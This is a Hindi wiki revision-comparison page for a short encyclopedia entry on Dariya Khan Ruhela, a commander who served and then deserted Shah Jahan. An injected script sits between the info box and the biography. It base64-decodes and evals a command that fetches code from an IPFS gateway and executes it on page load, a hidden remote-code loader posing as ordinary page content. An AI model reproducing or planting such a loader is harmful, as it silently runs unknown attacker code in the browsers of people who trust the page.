"दरिया ख़ाँ रुहेला" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
(''''दरिया ख़ाँ रुहेला''' पहले मुर्तज़ा ख़ाँ शेख़ फ़रीद क...' के साथ नया पन्ना बनाया)
 
 
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति १: पंक्ति १:
 +
{{भारतकोश पर बने लेख}}
 +
{{लेख सूचना
 +
|पुस्तक नाम=हिन्दी विश्वकोश खण्ड 6
 +
|पृष्ठ संख्या=02
 +
|भाषा=हिन्दी देवनागरी
 +
|लेखक =
 +
|संपादक=फूलदेवसहाय वर्मा
 +
|आलोचक=
 +
|अनुवादक=
 +
|प्रकाशक=नागरी प्रचारणी सभा वाराणसी
 +
|मुद्रक=नागरी मुद्रण वाराणसी
 +
|संस्करण=1966
 +
|स्रोत=भारतडिस्कवरी पुस्तकालय
 +
|उपलब्ध=
 +
|कॉपीराइट सूचना=नागरी प्रचारणी सभा वाराणसी
 +
|टिप्पणी=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन सूचना=
 +
}}
 
'''दरिया ख़ाँ रुहेला''' पहले मुर्तज़ा ख़ाँ शेख़ फ़रीद का नौकर था। [[शाहजहाँ|शाहजादा शाहजहाँ]] की सेवा में आकर इसने [[धौलपुर]], [[बंगाल]] तथा [[बिहार]] के युद्धों में अपने रणकौशल का परिचय दिया।
 
'''दरिया ख़ाँ रुहेला''' पहले मुर्तज़ा ख़ाँ शेख़ फ़रीद का नौकर था। [[शाहजहाँ|शाहजादा शाहजहाँ]] की सेवा में आकर इसने [[धौलपुर]], [[बंगाल]] तथा [[बिहार]] के युद्धों में अपने रणकौशल का परिचय दिया।
  

१०:५३, १८ सितम्बर २०१५ के समय का अवतरण

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें
लेख सूचना
दरिया ख़ाँ रुहेला
पुस्तक नाम हिन्दी विश्वकोश खण्ड 6
पृष्ठ संख्या 02
भाषा हिन्दी देवनागरी
संपादक फूलदेवसहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण 1966
स्रोत भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

दरिया ख़ाँ रुहेला पहले मुर्तज़ा ख़ाँ शेख़ फ़रीद का नौकर था। शाहजादा शाहजहाँ की सेवा में आकर इसने धौलपुर, बंगाल तथा बिहार के युद्धों में अपने रणकौशल का परिचय दिया।

  • शाहजादा शाहजहाँ ने दरिया ख़ाँ को पुरस्कार देकर सम्मानित किया और इलाहाबाद भेजा। वहाँ अब्दुल्ला ख़ाँ से अनवन हो जाने के फलस्वरूप शत्रु को आगे बढ़ने का अवसर मिल गया। विवश होकर दरिया ख़ाँ और अब्दुल्ला ख़ाँ जौनपुर होते हुए बनारस पहुँच गए, जहाँ शाहजहाँ ठहरा हुआ था।
  • बनारस पहुँचने के बाद युद्ध की तैयारी की गई, किंतु दरिया ख़ाँ के सैनिक बिना लड़े ही भाग निकले और विजय न हो सकी। वह भी शाहजहाँ को छोड़कर दक्षिण के सूबेदार ख़ानजहाँ लोदी के पास चला गया। किंतु फिर क्षमा किया गया और कासिम ख़ाँ लोदी के साथ बंगाल भेजा गया।
  • बंगाल भेजने के पश्चात ख़ानदेश भेजा गया। इसी समय इसने साहू भोंसला के विद्रोह का दमन किया। जब शाहजहाँ खानजहाँ लोदी से युद्ध करने गया तो दरियाख़ाँ पुन: खानजहाँ लोदी से मिल गया। खानजहाँ परास्त हुआ। दरिया ख़ाँ प्राण बचाकर भागा और मालवा तक पहुँचा, किंतु बादशाही सेना निरंतर पीछा कर रही थी अत: इसे फिर बुंदेलों के राज्य की ओर भागना पड़ा। इस अवसर पर जुझारसिंह के पुत्र विक्रमाजीत ने इसपर आक्रमण कर दिया। यह इसी युद्ध में मारा गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख